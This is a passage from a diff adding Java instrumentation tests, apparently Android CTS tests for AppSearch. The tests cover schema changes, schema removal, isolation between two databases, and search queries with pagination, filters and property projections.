+                                new AppSearchSchema.PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema newEmailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new AppSearchSchema.PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new AppSearchSchema.PropertyConfig.Builder("body")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema giftSchema =
+                new AppSearchSchema.Builder("Gift")
+                        .addProperty(
+                                new AppSearchSchema.PropertyConfig.Builder("price")
+                                        .setDataType(PropertyConfig.DATA_TYPE_INT64)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_NONE)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_NONE)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(oldEmailSchema).build()).get();
+
+        // Try to index a gift. This should fail as it's not in the schema.
+        GenericDocument gift =
+                new GenericDocument.Builder<>("gift1", "Gift").setPropertyLong("price", 5).build();
+        AppSearchBatchResult<String, Void> result =
+                mDb1.putDocuments(
+                                new PutDocumentsRequest.Builder().addGenericDocument(gift).build())
+                        .get();
+        assertThat(result.isSuccess()).isFalse();
+        assertThat(result.getFailures().get("gift1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Update the schema to include the gift and update email with a new field
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(newEmailSchema, giftSchema).build())
+                .get();
+
+        // Try to index the document again, which should now work
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(gift).build()));
+
+        // Indexing an email with a body should also work
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("email1")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+    }
+
+    @Test
+    public void testRemoveSchema() throws Exception {
+        // Schema registration
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new AppSearchSchema.PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(emailSchema).build()).get();
+
+        // Index an email and check it present.
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("email1").setSubject("testPut example").build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+        List<GenericDocument> outDocuments =
+                doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "email1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email);
+
+        // Try to remove the email schema. This should fail as it's an incompatible change.
+        Throwable failResult1 =
+                expectThrows(
+                                ExecutionException.class,
+                                () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+                        .getCause();
+        assertThat(failResult1).isInstanceOf(AppSearchException.class);
+        assertThat(failResult1).hasMessageThat().contains("Schema is incompatible");
+        assertThat(failResult1)
+                .hasMessageThat()
+                .contains(
+                        "Deleted types: [com.android.cts.appsearch$"
+                                + DB_NAME_1
+                                + "/builtin:Email]");
+
+        // Try to remove the email schema again, which should now work as we set forceOverride to
+        // be true.
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+
+        // Make sure the indexed email is gone.
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace(GenericDocument.DEFAULT_NAMESPACE)
+                                        .addUri("email1")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("email1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Try to index an email again. This should fail as the schema has been removed.
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("email2").setSubject("testPut example").build();
+        AppSearchBatchResult<String, Void> failResult2 =
+                mDb1.putDocuments(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocument(email2)
+                                        .build())
+                        .get();
+        assertThat(failResult2.isSuccess()).isFalse();
+        assertThat(failResult2.getFailures().get("email2").getErrorMessage())
+                .isEqualTo(
+                        "Schema type config 'com.android.cts.appsearch$"
+                                + DB_NAME_1
+                                + "/builtin:Email' not found");
+    }
+
+    @Test
+    public void testRemoveSchema_twoDatabases() throws Exception {
+        // Schema registration in mDb1 and mDb2
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new AppSearchSchema.PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(emailSchema).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(emailSchema).build()).get();
+
+        // Index an email and check it present in database1.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("email1").setSubject("testPut example").build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+        List<GenericDocument> outDocuments =
+                doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "email1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email1);
+
+        // Index an email and check it present in database2.
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("email2").setSubject("testPut example").build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+        outDocuments = doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "email2");
+        assertThat(outDocuments).hasSize(1);
+        outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email2);
+
+        // Try to remove the email schema in database1. This should fail as it's an incompatible
+        // change.
+        Throwable failResult1 =
+                expectThrows(
+                                ExecutionException.class,
+                                () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+                        .getCause();
+        assertThat(failResult1).isInstanceOf(AppSearchException.class);
+        assertThat(failResult1).hasMessageThat().contains("Schema is incompatible");
+        assertThat(failResult1)
+                .hasMessageThat()
+                .contains(
+                        "Deleted types: [com.android.cts.appsearch$"
+                                + DB_NAME_1
+                                + "/builtin:Email]");
+
+        // Try to remove the email schema again, which should now work as we set forceOverride to
+        // be true.
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+
+        // Make sure the indexed email is gone in database 1.
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace(GenericDocument.DEFAULT_NAMESPACE)
+                                        .addUri("email1")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("email1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Try to index an email again. This should fail as the schema has been removed.
+        AppSearchEmail email3 =
+                new AppSearchEmail.Builder("email3").setSubject("testPut example").build();
+        AppSearchBatchResult<String, Void> failResult2 =
+                mDb1.putDocuments(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocument(email3)
+                                        .build())
+                        .get();
+        assertThat(failResult2.isSuccess()).isFalse();
+        assertThat(failResult2.getFailures().get("email3").getErrorMessage())
+                .isEqualTo(
+                        "Schema type config 'com.android.cts.appsearch$"
+                                + DB_NAME_1
+                                + "/builtin:Email' not found");
+
+        // Make sure email in database 2 still present.
+        outDocuments = doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "email2");
+        assertThat(outDocuments).hasSize(1);
+        outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email2);
+
+        // Make sure email could still be indexed in database 2.
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+    }
+
+    @Test
+    public void testGetDocuments() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+        // Get the document
+        List<GenericDocument> outDocuments = doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(inEmail);
+
+        // Can't get the document in the other instance.
+        AppSearchBatchResult<String, GenericDocument> failResult =
+                mDb2.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+        assertThat(failResult.isSuccess()).isFalse();
+        assertThat(failResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testQuery() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents.get(0)).isEqualTo(inEmail);
+
+        // Multi-term query
+        searchResults =
+                mDb1.query(
+                        "body email",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents.get(0)).isEqualTo(inEmail);
+    }
+
+    @Test
+    public void testQuery_getNextPage() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        Set<AppSearchEmail> emailSet = new HashSet<>();
+        PutDocumentsRequest.Builder putDocumentsRequestBuilder = new PutDocumentsRequest.Builder();
+        // Index 31 documents
+        for (int i = 0; i < 31; i++) {
+            AppSearchEmail inEmail =
+                    new AppSearchEmail.Builder("uri" + i)
+                            .setFrom("from@example.com")
+                            .setTo("to1@example.com", "to2@example.com")
+                            .setSubject("testPut example")
+                            .setBody("This is the body of the testPut email")
+                            .build();
+            emailSet.add(inEmail);
+            putDocumentsRequestBuilder.addGenericDocument(inEmail);
+        }
+        checkIsBatchResultSuccess(mDb1.putDocuments(putDocumentsRequestBuilder.build()));
+
+        // Set number of results per page is 7.
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultCountPerPage(7)
+                                .build());
+        List<GenericDocument> documents = new ArrayList<>();
+
+        int pageNumber = 0;
+        List<SearchResult> results;
+
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            ++pageNumber;
+            for (SearchResult result : results) {
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+
+        // check all document presents
+        assertThat(documents).containsExactlyElementsIn(emailSet);
+        assertThat(pageNumber).isEqualTo(6); // 5 (upper(31/7)) + 1 (final empty page)
+    }
+
+    @Test
+    public void testQuery_typeFilter() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new PropertyConfig.Builder("foo")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchema(AppSearchEmail.SCHEMA)
+                                .addSchema(genericSchema)
+                                .build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument inDoc =
+                new GenericDocument.Builder<>("uri2", "Generic")
+                        .setPropertyString("foo", "body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(inEmail, inDoc)
+                                .build()));
+
+        // Query for the documents
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        assertThat(documents).containsExactly(inEmail, inDoc);
+
+        // Query only for Document
+        searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .addSchemaType(
+                                        "Generic",
+                                        "Generic") // duplicate type in filter won't matter.
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inDoc);
+    }
+
+    @Test
+    public void testQuery_packageFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+        // Query for the document within our package
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterPackageNames(
+                                        ApplicationProvider.getApplicationContext()
+                                                .getPackageName())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(email);
+
+        // Query for the document in some other package, which won't exist
+        searchResults =
+                mDb1.query(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterPackageNames("some.other.package")
+                                .build());
+        List<SearchResult> results = searchResults.getNextPage().get();
+        assertThat(results).isEmpty();
+    }
+
+    @Test
+    public void testQuery_namespaceFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build());
+
+        // Index two documents
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("expectedNamespace")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail unexpectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("unexpectedNamespace")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(expectedEmail, unexpectedEmail)
+                                .build()));
+
+        // Query for all namespaces
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        assertThat(documents).containsExactly(expectedEmail, unexpectedEmail);
+
+        // Query only for expectedNamespace
+        searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .addNamespace("expectedNamespace")
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(expectedEmail);
+    }
+
+    @Test
+    public void testQuery_getPackageName() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        List<SearchResult> results;
+        List<GenericDocument> documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getDocument()).isEqualTo(inEmail);
+                assertThat(result.getPackageName())
+                        .isEqualTo(ApplicationProvider.getApplicationContext().getPackageName());
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+    }
+
+    @Test
+    public void testQuery_getDatabaseName() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        List<SearchResult> results;
+        List<GenericDocument> documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getDocument()).isEqualTo(inEmail);
+                assertThat(result.getDatabaseName()).isEqualTo(DB_NAME_1);
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+
+        // Schema registration for another database
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+        // Query for the document
+        searchResults =
+                mDb2.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getDocument()).isEqualTo(inEmail);
+                assertThat(result.getDatabaseName()).isEqualTo(DB_NAME_2);
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+    }
+
+    @Test
+    public void testQuery_projection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+
+        // Query with type property paths {"Email", ["subject", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+    @Test
+    public void testQuery_projectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+
+        // Query with type property paths {"Email", []}
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testQuery_projectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testQuery_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document to instance 1.
+        AppSearchEmail inEmail1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail1).build()));
+
+        // Index a document to instance 2.
+        AppSearchEmail inEmail2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail2).build()));
+
+        // Query for instance 1.
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inEmail1);
+
+        // Query for instance 2.
+        searchResults =
+                mDb2.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
